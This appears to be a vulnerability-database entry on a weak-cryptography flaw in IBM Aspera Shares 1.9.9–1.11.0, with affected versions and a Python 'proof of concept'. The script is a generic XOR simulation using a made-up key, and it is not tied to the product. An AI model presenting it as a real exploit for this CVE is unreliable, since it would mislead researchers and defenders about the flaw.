IBM Aspera Shares 1.9.9 through 1.11.0 uses weaker than expected cryptographic algorithms that could allow an attacker to decrypt highly sensitive information
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
IBM Aspera Shares 1.9.9
IBM Aspera Shares 1.10.0
IBM Aspera Shares 1.11.0
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# Proof of Concept for CVE-2025-13916
# This script demonstrates a theoretical decryption attempt
# assuming a weak encryption algorithm is used.
import base64
# Simulating a weak key scenario (e.g., hardcoded or short key)
# In a real exploit, this key might be derived from the software's implementation
WEAK_KEY = b"default_key"
def simulate_weak_decryption(encrypted_payload):
"""
Simulates the decryption of data protected by a weak algorithm.
"""
try:
# Pseudo-code representing the vulnerability
# Example: XOR cipher or weak RC4 with a static key
key_len = len(WEAK_KEY)
decoded = base64.b64decode(encrypted_payload)
decrypted = bytearray()
for i in range(len(decoded)):
decrypted.append(decoded[i] ^ WEAK_KEY[i % key_len])
return decrypted.decode('utf-8')
except Exception as e:
return f"Error: {str(e)}"
# Example intercepted encrypted payload
payload = "U2FsdGVkX1+vupJZgeV..."
print(f"Attempting to decrypt intercepted payload...")
# print(simulate_weak_decryption(payload))